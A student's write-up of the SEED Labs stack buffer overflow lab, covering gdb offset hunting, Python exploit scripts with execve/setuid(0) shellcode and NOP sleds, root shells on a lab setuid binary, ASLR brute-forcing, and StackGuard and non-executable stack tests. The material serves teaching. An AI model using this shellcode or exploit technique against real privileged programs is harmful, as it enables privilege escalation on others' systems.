Omar Ahmed

Buffer Overflow

Tasks:[https://seedsecuritylabs.org/Labs_20.04/Files/Buffer_Overflow_Setuid/Buffer_Overflow_Setuid.pdf]

Task 1:

```
[11/10/24]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[11/10/24]seed@VM:~/.../shellcode$ ./a32.out
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$ echo 'hello world'
hello world
$ exit
[11/10/24]seed@VM:~/.../shellcode$ ./a64.out
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$ echo 'hello world'
hello world
$ exit
[11/10/24]seed@VM:~/.../shellcode$
```

- The a32 and a64 programs seem to work the same as any other bash terminal.
- As seen above, commands like ls and echo world as it would

Task 2:

Compilation:

```
[11/10/24]seed@VM:~/.../code$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector sta
[11/10/24]seed@VM:~/.../code$ sudo chown root stack
[11/10/24]seed@VM:~/.../code$ sudo chmod 4755 stack
[11/10/24]seed@VM:~/.../code$
```

- the StackGuard and the non-executable stack protections are turned off using the flags in the compilation done above.
- Then, the stack file is set to be a root owned set-UID program using the following 2 sudo commands.
    - The first sudo command changes the ownership of stack to be root
    - The second command changes the chmod permission to 4755, enabling the Set-UID bit.

Task 3:

```
Breakpoint 1, bof (str=0xffffc953 "V\004") at stack.c:16
16      {
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffc930 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffc528 --> 0xffffc938 --> 0xffffcb68 --> 0x0
ESP: 0xffffc4b0 ("1pUVD\311\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
EIP: 0x565562c2 (<bof+21>:      sub    esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:  sub    esp,0x74
   0x565562b8 <bof+11>: call   0x565563f7 <__x86.get_pc_thunk.ax>
   0x565562bd <bof+16>: add    eax,0x2cfb
=> 0x565562c2 <bof+21>: sub    esp,0x8
   0x565562c5 <bof+24>: push   DWORD PTR [ebp+0x8]
   0x565562c8 <bof+27>: lea    edx,[ebp-0x6c]
   0x565562cb <bof+30>: push   edx
   0x565562cc <bof+31>: mov    ebx,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffc4b0 ("1pUVD\311\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
0004| 0xffffc4b4 --> 0xffffc944 --> 0x0
0008| 0xffffc4b8 --> 0xf7ffd590 --> 0xf7fd1000 --> 0x464c457f
0012| 0xffffc4bc --> 0xf7fcb3e0 --> 0xf7ffd990 --> 0x56555000 --> 0x464c457f
0016| 0xffffc4c0 --> 0x0
0020| 0xffffc4c4 --> 0x0
0024| 0xffffc4c8 --> 0x0
0028| 0xffffc4cc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ ebp
Undefined command: "ebp".  Try "help".
gdb-peda$ p $ebp
$1 = (void *) 0xffffc528
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffc4bc
gdb-peda$ quit
```

```
[11/10/24]seed@VM:~/.../code$ touch badfile
[11/10/24]seed@VM:~/.../code$ gdb stack-L1-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from stack-L1-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
```

- Using gdb, we set a breakpoint for before the bof() function to find the addresses of:
    - Note that we used next after running the program so that ebp points to the beginning of the bof() function. Otherwise, we would get the caller's ebp.
    - ebp: 0xffffc528
    - Buffer: 0xffffc4bc

exploit.py:

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)                # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffc528 +200          # Change this number
offset = 112              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

- Content of shellcode is changed to the 32 bit shell code for setuid(0), found in call_shellcode.c
- The difference between the ebp and buffer addresses is
  - 0xffffc528-0xffffc4bc = 0x6C
    - 108 in decimal, therefore 108+4 = 112 is our offset.
- The return address has to be somewhere between the shellcode and address of ebp (passing throught the NOP's)
  - After some guess work, adding different numbers to ebp for the return address, adding 200 works.

```
make: Nothing to be done for 'all'.
[11/10/24]seed@VM:~/.../code$ ./exploit.py
[11/10/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Illegal instruction
[11/10/24]seed@VM:~/.../code$ ./exploit.py
[11/10/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
#
```

- The first attempt was using 150 added to ebp, second attempt was using 200.

Task 4:

```
[11/10/24]seed@VM:~/.../code$ sudo sysctl -w kerne
.randomize_va_space=0
kernel.randomize_va_space = 0
[11/10/24]seed@VM:~/.../code$ sudo ln -sf /bin/zsh
/bin/sh
[11/10/24]seed@VM:~/.../code$ ls
brute-force.sh  exploit.py  Makefile  stack.c
[11/10/24]seed@VM:~/.../code$ touch badfile
[11/10/24]seed@VM:~/.../code$ ls
badfile         exploit.py  stack.c
brute-force.sh  Makefile
[11/10/24]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protect
r -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protect
r -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-
1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protect
r -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protect
r -m32 -g -o stack-L2-dbg stack.c
```

- Set up the environment by turning off Address Space Layout Randomization and linking /bin/sh to /bin/zsh, creating the badfile and running make.

```
This is free software: you are free to change and redis
ribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources o
line at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
--Type <RET> for more, q to quit, c to continue withhoh
hout paging--b bof
Type "apropos word" to search for commands related to "
ord"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" w
th a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is"
ith a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from stack-L2-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$
```

- Launched gdb to debug the program, set a breakpoint at bof, and ran the program

```
-------------------------]
   0x565562b5 <bof+8>:  sub    esp,0xa4
   0x565562bb <bof+14>:
    call   0x565563fd <__x86.get_pc_thunk.ax>
   0x565562c0 <bof+19>: add    eax,0x2cf8
=> 0x565562c5 <bof+24>: sub    esp,0x8
   0x565562c8 <bof+27>: push   DWORD PTR [ebp+0x8]
   0x565562cb <bof+30>: lea    edx,[ebp-0xa8]
   0x565562d1 <bof+36>: push   edx
   0x565562d2 <bof+37>: mov    ebx,eax
[-------------------------------------stack-------------
-------------------------]
0000| 0xffffcaa0 --> 0x0
0004| 0xffffcaa4 --> 0x0
0008| 0xffffcaa8 --> 0xf7fb4f20 --> 0x0
0012| 0xffffcaac --> 0x7d4
0016| 0xffffcab0 ("0pUV.pUVh\317\377\377")
0020| 0xffffcab4 (".pUVh\317\377\377")
0024| 0xffffcab8 --> 0xffffcf68 --> 0x205
0028| 0xffffcabc --> 0x0
[-------------------------------------------------------
-------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p &buffer
$1 = (char (*)[160]) 0xffffcaa0
gdb-peda$
```

- Stepped through the program until we reached the point where strcpy is called and printed the buffer address

```
##################################################
##################
# Put the shellcode somewhere in the payload
#start = 0                # Change this number
content[517 -  len(shellcode):] = shellcode # pl
ace shellcode at the end of the badfile

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcaa0 + 300           # Change thi
s number
#offset = 0               # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 6
4-bit address

#Spray the buffer with return addresses
for offset in range(50):
    content[offset*L:offset*4 + L] = (ret).to_by
tes(L,byteorder='little')
##################################################
##################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
                                28,4          Bot
```

- Modified the code so that the shellcode is placed at the end of the buffer with the line content[517 - len(shellcode):] = shellcode to ensure its in the overflowed portion of the buffer
- Set the return address based on the buffer address; since we don't know the

exact buffer size we added an offset of 300 to increase the likelihood that the return address will point somewhere within the NOP sled or shellcode

- Then we Spray the buffer with return addresses which fills the buffer with copies of the return address; this maximizes the chances that the overwritten return address will point to a location in the NOP sled or shellcode

```
e
-rwxrwxr-x 1 seed seed   270 Dec 22  2020 brute-
force.sh
-rwxrwxr-x 1 seed seed  1098 Nov 10 19:53 explo:
t.py
-rw-rw-r-- 1 seed seed   965 Dec 23  2020 Makef:
le
-rw-rw-r-- 1 seed seed    11 Nov 10 19:42 peda-:
ession-stack-L2-dbg.txt
-rw-rw-r-- 1 seed seed  1132 Dec 22  2020 stack
c
-rwsr-xr-x 1 root seed 15908 Nov 10 19:38 stack-
L1
-rwxrwxr-x 1 seed seed 18692 Nov 10 19:38 stack-
L1-dbg
-rwsr-xr-x 1 root seed 15908 Nov 10 19:38 stack-
L2
-rwxrwxr-x 1 seed seed 18692 Nov 10 19:38 stack-
L2-dbg
-rwsr-xr-x 1 root seed 17112 Nov 10 19:38 stack-
L3
-rwxrwxr-x 1 seed seed 20120 Nov 10 19:38 stack-
L3-dbg
-rwsr-xr-x 1 root seed 17112 Nov 10 19:38 stack-
L4
-rwxrwxr-x 1 seed seed 20112 Nov 10 19:38 stack-
L4-dbg
[11/10/24]seed@VM:~/.../code$ ./stack-L2
Input size: 517
#
```

- When we ran the program it hit the shellcode which spawned a root shell

Task 5:

```
[11/10/24]seed@VM:~/.../code$ touch badfile
[11/10/24]seed@VM:~/.../code$ ls
badfile  brute-force.sh  exploit.py  Makefile  s
tack.c
[11/10/24]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-prote
ctor -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-prote
ctor -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stac
k-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-prote
ctor -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-prote
ctor -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stac
k-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-prote
ctor -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-prote
ctor -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stac
k-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protec
tor -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protec
tor -g -o stack-L4-dbg stack.c
```

- Setup environment

```
[11/10/24]seed@VM:~/.../code$ gdb stack-L3-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc
.
License GPLv3+: GNU GPL version 3 or later <http
://gnu.org/licenses/gpl.html>
This is free software: you are free to change an
d redistribute it.
There is NO WARRANTY, to the extent permitted by
 law.
Type "show copying" and "show warranty" for deta
ils.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration deta
ils.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation reso
urces online at:
    <http://www.gnu.org/software/gdb/documentati
on/>.

For help, type "help".
Type "apropos word" to search for commands relat
ed to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning:
 "is" with a literal. Did you mean "=="?
```

```
  if pyversion is 3:
Reading symbols from stack-L3-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x1229: file stack.c, line 16.
gdb-peda$
```

- Launched gdb to debug the program, set a breakpoint at bof, and ran the program

```
-----------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd980
gdb-peda$ p &buffer
$2 = (char (*)[200]) 0x7fffffffd8b0
gdb-peda$
```

- Stepped through the program until we reached the point where strcpy is called and printed the frame pointer address and buffer address

```
##################################################
##################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)                # Cha
nge this number
content[start:start + len(shellcode)] = shellcod
e

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffffd980 + 220           # Change
 this number
#offset = 0              # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 6
4-bit address

#for offset in range(50, 70):
#content[offset*L:offset*L + L] = (ret).to_bytes
(L,byteorder='little')

addr = (ret).to_bytes(L,byteorder='little')
content[0:0xd7] = addr *27
##################################################
##################

# Write the content to a file
with open('badfile', 'wb') as f:
<oit.py" 35L, 1125C           30,26         92%
```

- Edited the code with the correct shellcode
- Placed the shellcode at the end of the buffer to ensure plenty of room for the NOP sled and sprayed return addresses
- calculated the ret address with rbp + 220 to ensure the return address is in a region within the NOP sled
- Filled the first 215 bytes of the buffer with copies of the return address to ensure when the buffer overflow reached the return address, it would contain a valid return address pointing to the NOP sled

```
[11/10/24]seed@VM:~/.../code$ ./exploit.py
[11/10/24]seed@VM:~/.../code$ ./stack-L3
Input size: 517
==== Returned Properly ====
```

Task 6:

```
[11/10/24]seed@VM:~/.../code$ ls
badfile          stack-L1       stack-L3-dbg
brute-force.sh   stack-L1-dbg   stack-L4
exploit.py       stack-L2       stack-L4-dbg
Makefile         stack-L2-dbg
stack.c          stack-L3
[11/10/24]seed@VM:~/.../code$ gdb stack-L4-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc
.
License GPLv3+: GNU GPL version 3 or later <http
://gnu.org/licenses/gpl.html>
This is free software: you are free to change an
d redistribute it.
There is NO WARRANTY, to the extent permitted by
 law.
Type "show copying" and "show warranty" for deta
ils.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration deta
ils.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation reso
urces online at:
    <http://www.gnu.org/software/gdb/documentati
on/>.

For help, type "help".
Type "apropos word" to search for commands relat
```

```
Reading symbols from stack-L4-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x1229: file stack.c, line 16.
gdb-peda$ run
```

- Launched gdb with stack-l4 and set a breakpoint at b bof

```
----------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p &buffer
$1 = (char (*)[10]) 0x7fffffffd976
```

- Run until strcpy and get buffer address

```
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################
##################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)                # Cha
nge this number
content[start:start + len(shellcode)] = shellcod
e

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffffd976 + 120           # Change
 this number
#offset = 0              # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 6
4-bit address
#content[offset:offset + L] = (ret).to_bytes(L,b
yteorder='little')

addr = (ret).to_bytes(L, byteorder='little')
content[0:10] = addr*2
##################################################
##################

# Write the content to a file
with open('badfile', 'wb') as f:
<oit.py" 33L, 1087C           28,12         90%
```

- Place shellcode at the end of the buffer to allow it to sit safely in memory without interfering with return addresses

- Return address is the buffers starting address + 120, placing it far enough past the buffer within the range of the NOP sled
- Filled the first 10 bytes of the buffer with two copies of the return address to ensure the buffer overflow will reach a reliable address pointing back into the buffer. This utilized the entire buffer capacity to hold return addresses.

```
[11/10/24]seed@VM:~/.../code$ ./exploit.py
[11/10/24]seed@VM:~/.../code$ ./stack-L4
Input size: 517
==== Returned Properly ====
```

Task 7:

Modified call_shellcode.c:

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0)
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"


const char shellcode[] =
#if __x86_64__
  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode);
   int (*func)() = (int(*)())code;

   func();
   return 1;
}
```

Turn on countermeasures:

```
[11/10/24]seed@VM:~/.../code$ sudo ln -sf /bin/dash /bin/sh
```

```
[11/10/24]seed@VM:~/.../shellcode$ ./a32.out
# ls
Makefile  a32.out  a64.out  call_shellcode.c
# echo 'test test'
test test
# exit
[11/10/24]seed@VM:~/.../shellcode$ ./a64.out
# ls
Makefile  a32.out  a64.out  call_shellcode.c
# echo 'testing testing'
testing testing
# exit
```

- It seems that I successfully got a root shell according to the '#' symbol. I can further make sure by running the 'id' command:

```
[11/10/24]seed@VM:~/.../shellcode$ ./a32.out
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),
24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),
131(lxd),132(sambashare),136(docker)
#
```

- uid=0(root) proves that I have root shell access and I've successfully beat the countermeasure
- Now lets run the attack on L1:

exploit.py with modified setuid(0) shellcode:

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcaa8 +200           # Change this number
offset = 112              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Run the attack:

```
[11/10/24]seed@VM:~/.../code$ ./exploit.py
[11/10/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# ls
Makefile                        stack         stack-L3
badfile                         stack-L1      stack-L3-dbg
brute-force.sh                  stack-L1-dbg  stack-L4
exploit.py                      stack-L2      stack-L4-dbg
peda-session-stack-L1-dbg.txt   stack-L2-dbg  stack.c
# echo 'hello'
hello
# exit
```

- Looks like the attack was successful despite having countermeasures turned on

Task 8:

```
[11/10/24]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_
_space=2
kernel.randomize_va_space = 2
[11/10/24]seed@VM:~/.../code$ ./brute-force.sh
```

```
seed@VM: ~/.../code
Input size: 517
./brute-force.sh: line 14: 69659 Segmentation fault      ./stack-L1
6 minutes and 32 seconds elapsed.
The program has been running 61373 times so far.
Input size: 517
./brute-force.sh: line 14: 69660 Segmentation fault      ./stack-L1
6 minutes and 32 seconds elapsed.
The program has been running 61374 times so far.
Input size: 517
./brute-force.sh: line 14: 69661 Segmentation fault      ./stack-L1
6 minutes and 32 seconds elapsed.
The program has been running 61375 times so far.
Input size: 517
./brute-force.sh: line 14: 69662 Segmentation fault      ./stack-L1
6 minutes and 32 seconds elapsed.
The program has been running 61376 times so far.
Input size: 517
./brute-force.sh: line 14: 69663 Segmentation fault      ./stack-L1
6 minutes and 32 seconds elapsed.
The program has been running 61377 times so far.
Input size: 517
./brute-force.sh: line 14: 69664 Segmentation fault      ./stack-L1
6 minutes and 32 seconds elapsed.
The program has been running 61378 times so far.
Input size: 517
# ls
Makefile                      stack         stack-L3
badfile                       stack-L1      stack-L3-dbg
brute-force.sh                stack-L1-dbg  stack-L4
exploit.py                    stack-L2      stack-L4-dbg
peda-session-stack-L1-dbg.txt stack-L2-dbg  stack.c
# echo 'hello'
hello
#
```

Using brute force, it took 6 minutes and 32 seconds for the attack to succeed.

Task 9a:

Attack with StackGuard OFF:

```
[11/10/24]seed@VM:~/.../code$ gcc -DBUF_SIZE=100 -m32 -o stack-L1 -z execstack -fno-stack-protector stack.c
[11/10/24]seed@VM:~/.../code$ sudo chown root stack-L1
[11/10/24]seed@VM:~/.../code$ sudo chmod 4755 stack-L1
[11/10/24]seed@VM:~/.../code$ ./exploit.py
[11/10/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
#
```

Attack with StackGuard ON:

```
[11/10/24]seed@VM:~/.../code$ gcc -DBUF_SIZE=100 -m32 -o stack-L1 -z execstack stack.c
[11/10/24]seed@VM:~/.../code$ sudo chown root stack-L1
[11/10/24]seed@VM:~/.../code$ sudo chmod 4755 stack-L1
[11/10/24]seed@VM:~/.../code$ ./exploit.py
[11/10/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
*** stack smashing detected ***: terminated
Aborted
[11/10/24]seed@VM:~/.../code$
```

- It seems that when leaving StackGuard on, the program detects an buffer overflow, which results in the program terminating to prevent exploitation. In other words, the attack doesn't work.

Task 9b:

```
[11/10/24]seed@VM:~/.../shellcode$ ./a32.out
# exit
[11/10/24]seed@VM:~/.../shellcode$ ./a64.out
# exit
[11/10/24]seed@VM:~/.../shellcode$ gcc -m32 -z nonexecstack -o a32.out call_shellcode.c
/usr/bin/ld: warning: -z nonexecstack ignored
[11/10/24]seed@VM:~/.../shellcode$ gcc -z nonexecstack -o a64.out call_shellcode.c
/usr/bin/ld: warning: -z nonexecstack ignored
[11/10/24]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[11/10/24]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
[11/10/24]seed@VM:~/.../shellcode$
```

- With the execstack option enabled, a32 and a64 run without issues.
- When recompiling shellcode with '-z nonexecstack', the output is a segmentation fault

- This means that the nonexecstack option prevented the shellcode from executing which will protect the stack from attacks.